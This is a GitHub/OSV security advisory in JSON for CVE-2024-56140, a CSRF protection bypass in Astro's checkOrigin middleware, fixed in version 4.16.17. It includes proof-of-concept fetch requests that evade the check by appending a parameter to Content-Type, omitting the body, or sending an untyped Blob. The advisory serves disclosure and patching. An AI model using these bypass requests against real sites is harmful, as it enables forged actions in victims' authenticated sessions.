CVE-2024-56140: Astro Atro CSRF Middleware Bypass (security.checkOrigin) Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c4pw-33h3-35xw",
  "modified" : "2025-11-27T08:01:13Z",
  "published" : "2024-12-18T15:02:37Z",
  "aliases" : [ "CVE-2024-56140" ],
  "summary" : "Atro CSRF Middleware Bypass (security.checkOrigin)",
  "details" : "### Summary\n\nA bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.\n\n### Details\n\nWhen the `security.checkOrigin` configuration option is set to `true`, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)\n\nFor example, with the following Astro configuration:\n\n```js\n// astro.config.mjs\nimport { defineConfig } from 'astro/config';\nimport node from '@astrojs/node';\n\nexport default defineConfig({\n\toutput: 'server',\n\tsecurity: { checkOrigin: true },\n\tadapter: node({ mode: 'standalone' }),\n});\n```\n\nA request like the following would be blocked if made from a different origin:\n\n```js\n// fetch API or <form action=\"https://test.example.com/\" method=\"POST\">\nfetch('https://test.example.com/', {\n\tmethod: 'POST',\n\tcredentials: 'include',\n\tbody: 'a=b',\n\theaders: { 'Content-Type': 'application/x-www-form-urlencoded' },\n});\n// => Cross-site POST form submissions are forbidden\n```\n\nHowever, a vulnerability exists that can bypass this security.\n\n#### Pattern 1: Requests with a semicolon after the `Content-Type`\n\nA semicolon-delimited parameter is allowed after the type in `Content-Type`.\n\nWeb browsers will treat a `Content-Type` such as `application/x-www-form-urlencoded; abc` as a [simple request](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests) and will not perform preflight validation. In this case, CSRF is not blocked as expected.\n\n```js\nfetch('https://test.example.com', {\n\tmethod: 'POST',\n\tcredentials: 'include',\n\tbody: 'test',\n\theaders: { 'Content-Type': 'application/x-www-form-urlencoded; abc' },\n});\n// => Server-side functions are executed (Response Code 200).\n```\n\n#### Pattern 2: Request without `Content-Type` header\n\nThe `Content-Type` header is not required for a request. The following examples are sent without a `Content-Type` header, resulting in CSRF.\n\n```js\n// Pattern 2.1 Request without body\nfetch('http://test.example.com', { method: 'POST', credentials: 'include' });\n\n// Pattern 2.2 Blob object without type\nfetch('https://test.example.com', {\n\tmethod: 'POST',\n\tcredentials: 'include',\n\tbody: new Blob(['a=b'], {}),\n});\n```\n\n### Impact\n\nBypass CSRF protection implemented with CSRF middleware.\n\n> [!Note]\n> Even with `credentials: 'include'`, browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "astro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.16.17"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/security/advisories/GHSA-c4pw-33h3-35xw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-56140"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/commit/e7d14c374b9d45e27089994a4eb72186d05514de"
  }, {
    "type" : "WEB",
    "url" : "https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/withastro/astro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-18T15:02:37Z",
    "nvd_published_at" : "2024-12-18T21:15:08Z"
  }
}